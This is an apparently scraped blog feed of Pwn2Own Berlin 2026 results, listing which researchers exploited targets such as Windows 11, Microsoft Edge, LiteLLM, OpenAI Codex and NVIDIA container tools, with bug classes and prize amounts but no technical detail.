                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6a14f197-bfc7-4594-aff9-63262e5ecbe4/HIXuZHJW4AAgox8.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6a14f197-bfc7-4594-aff9-63262e5ecbe4/HIXuZHJW4AAgox8.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6a14f197-bfc7-4594-aff9-63262e5ecbe4/HIXuZHJW4AAgox8.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6a14f197-bfc7-4594-aff9-63262e5ecbe4/HIXuZHJW4AAgox8.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6a14f197-bfc7-4594-aff9-63262e5ecbe4/HIXuZHJW4AAgox8.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6a14f197-bfc7-4594-aff9-63262e5ecbe4/HIXuZHJW4AAgox8.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6a14f197-bfc7-4594-aff9-63262e5ecbe4/HIXuZHJW4AAgox8.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6a14f197-bfc7-4594-aff9-63262e5ecbe4/HIXuZHJW4AAgox8.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6a14f197-bfc7-4594-aff9-63262e5ecbe4/HIXuZHJW4AAgox8.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/60e31e50-84e7-4f4e-99a3-81cbba2df746/HIXuZHLX0AAzsn9.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/60e31e50-84e7-4f4e-99a3-81cbba2df746/HIXuZHLX0AAzsn9.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/60e31e50-84e7-4f4e-99a3-81cbba2df746/HIXuZHLX0AAzsn9.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/60e31e50-84e7-4f4e-99a3-81cbba2df746/HIXuZHLX0AAzsn9.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/60e31e50-84e7-4f4e-99a3-81cbba2df746/HIXuZHLX0AAzsn9.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/60e31e50-84e7-4f4e-99a3-81cbba2df746/HIXuZHLX0AAzsn9.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/60e31e50-84e7-4f4e-99a3-81cbba2df746/HIXuZHLX0AAzsn9.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/60e31e50-84e7-4f4e-99a3-81cbba2df746/HIXuZHLX0AAzsn9.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/60e31e50-84e7-4f4e-99a3-81cbba2df746/HIXuZHLX0AAzsn9.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Siyeon Wi used an integer overflow bug to escalate privileges on Microsoft Windows 11 in the fourth round, earning $7,500 and 3 Master of Pwn points.</p>











































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c9ebfc3c-89fd-466d-bc92-48e4713c48ea/Image+%282%29.jpeg" data-image-dimensions="4032x3024" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c9ebfc3c-89fd-466d-bc92-48e4713c48ea/Image+%282%29.jpeg?format=1000w" width="4032" height="3024" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c9ebfc3c-89fd-466d-bc92-48e4713c48ea/Image+%282%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c9ebfc3c-89fd-466d-bc92-48e4713c48ea/Image+%282%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c9ebfc3c-89fd-466d-bc92-48e4713c48ea/Image+%282%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c9ebfc3c-89fd-466d-bc92-48e4713c48ea/Image+%282%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c9ebfc3c-89fd-466d-bc92-48e4713c48ea/Image+%282%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c9ebfc3c-89fd-466d-bc92-48e4713c48ea/Image+%282%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c9ebfc3c-89fd-466d-bc92-48e4713c48ea/Image+%282%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b>
/ 
<b data-preserve-html-node="true">COLLISON</b> - Byung Young Yi (@yibarrack) of Out Of Bounds targeted LiteLLM, hitting a one-vulnerability collision with a previous attempt and earning $17,750 and 3.75 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7e7b7887-1dfc-4f68-ac6d-738cd5416924/IMG_3073.png" data-image-dimensions="5712x3213" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7e7b7887-1dfc-4f68-ac6d-738cd5416924/IMG_3073.png?format=1000w" width="5712" height="3213" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7e7b7887-1dfc-4f68-ac6d-738cd5416924/IMG_3073.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7e7b7887-1dfc-4f68-ac6d-738cd5416924/IMG_3073.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7e7b7887-1dfc-4f68-ac6d-738cd5416924/IMG_3073.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7e7b7887-1dfc-4f68-ac6d-738cd5416924/IMG_3073.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7e7b7887-1dfc-4f68-ac6d-738cd5416924/IMG_3073.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7e7b7887-1dfc-4f68-ac6d-738cd5416924/IMG_3073.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7e7b7887-1dfc-4f68-ac6d-738cd5416924/IMG_3073.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Confirmed! 0xDACA (@0xDACA) &amp; Noam Trobishi (@NTrobishi) used a use-after-free bug to exploit NV Container Toolkit in the second round, earning $25,000 and 5 Master of Pwn points. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/53940c80-dc63-428a-82c6-b77580f39f1c/HIYD1L1XkAAxk7G.png" data-image-dimensions="450x800" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/53940c80-dc63-428a-82c6-b77580f39f1c/HIYD1L1XkAAxk7G.png?format=1000w" width="450" height="800" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/53940c80-dc63-428a-82c6-b77580f39f1c/HIYD1L1XkAAxk7G.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/53940c80-dc63-428a-82c6-b77580f39f1c/HIYD1L1XkAAxk7G.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/53940c80-dc63-428a-82c6-b77580f39f1c/HIYD1L1XkAAxk7G.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/53940c80-dc63-428a-82c6-b77580f39f1c/HIYD1L1XkAAxk7G.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/53940c80-dc63-428a-82c6-b77580f39f1c/HIYD1L1XkAAxk7G.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/53940c80-dc63-428a-82c6-b77580f39f1c/HIYD1L1XkAAxk7G.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/53940c80-dc63-428a-82c6-b77580f39f1c/HIYD1L1XkAAxk7G.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a2693c42-e36c-47c4-8af8-405b7e346d12/Image.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a2693c42-e36c-47c4-8af8-405b7e346d12/Image.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a2693c42-e36c-47c4-8af8-405b7e346d12/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a2693c42-e36c-47c4-8af8-405b7e346d12/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a2693c42-e36c-47c4-8af8-405b7e346d12/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a2693c42-e36c-47c4-8af8-405b7e346d12/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a2693c42-e36c-47c4-8af8-405b7e346d12/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a2693c42-e36c-47c4-8af8-405b7e346d12/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a2693c42-e36c-47c4-8af8-405b7e346d12/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a360d8a4-3083-41fa-afcc-9e3f151af5f0/Image+%281%29.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a360d8a4-3083-41fa-afcc-9e3f151af5f0/Image+%281%29.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a360d8a4-3083-41fa-afcc-9e3f151af5f0/Image+%281%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a360d8a4-3083-41fa-afcc-9e3f151af5f0/Image+%281%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a360d8a4-3083-41fa-afcc-9e3f151af5f0/Image+%281%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a360d8a4-3083-41fa-afcc-9e3f151af5f0/Image+%281%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a360d8a4-3083-41fa-afcc-9e3f151af5f0/Image+%281%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a360d8a4-3083-41fa-afcc-9e3f151af5f0/Image+%281%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a360d8a4-3083-41fa-afcc-9e3f151af5f0/Image+%281%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Berlin 2026 - Day One Results]]></title>
<description><![CDATA[Welcome to Day One of Pwn2Own Berlin 2026! Today, 22 entries took the Pwn2Own stage to target AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products, as the world’s top security researchers push technology to its limits. Exploits, surprises, and breakthrough di...]]></description>
<link>https://tsecurity.de/de/3694566/hacking/pwn2own-berlin-2026-day-one-results/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694566/hacking/pwn2own-berlin-2026-day-one-results/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:55 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Welcome to Day One of Pwn2Own Berlin 2026! Today, 22 entries took the Pwn2Own stage to target AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products, as the world’s top security researchers push technology to its limits. Exploits, surprises, and breakthrough discoveries are unfolding.</p><p class="">After Day One, we awarded $523,000 for 24 unique 0-days! DEVCORE is currently in the lead for Master of Pwn, but a pack of teams are right on their heels. Stay tuned tomorrow for more results and surprises.</p><p class="">Follow the action live! We’ll be posting real-time updates and results throughout the competition on our <a href="https://www.zerodayinitiative.com/blog">blog</a> and across social media. Stay up to date by following us on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, and <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a>, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg" data-image-dimensions="1920x1080" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=1000w" width="1920" height="1080" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8147d5eb-a38d-45de-8a2c-fdd3625dca92/Day1aP2O-Berlin+2026+Master+of+Pwn+Leaderboard.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) could not get their exploit of OpenAI Codex working within the time allotted.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to achieve a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg" data-image-dimensions="2000x1500" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=1000w" width="2000" height="1500" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/020d4df6-54dc-4c2e-a619-bec0f81b495c/shared+image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - chompie of IBM X-Force Offensive Research (XOR) used a single bug to exploit NV Container Toolkit, earning $50,000 and 5 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg" data-image-dimensions="1767x1330" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=1000w" width="1767" height="1330" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - k3vg3n chained 3 bugs including SSRF and Code Injection to take down LiteLLM. $40,000 and 4 Master of Pwn points. Full win. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg" data-image-dimensions="4032x2268" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=1000w" width="4032" height="2268" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. used an Overly Permissive Allowed List bug to exploit NVIDIA Megatron Bridge, earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg" data-image-dimensions="5712x4284" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=1000w" width="5712" height="4284" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/44078d4c-c344-401c-ae14-e8122dad17f2/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Park Jae Min could not get their exploit of Oracle Autonomous AI Database  working within the time allotted. #Pwn2Own #P2OBerlin</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) used a single CWE-150 bug to exploit OpenAI Codex, earning $40,000 and 4 Master of Pwn points.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Angelboy (@scwuaptx) &amp; TwinkleStar03 (@_twinklestar03) of DEVCORE Research Team used an Improper Access Control bug to escalate privileges on Microsoft Windows 11, earning $30,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
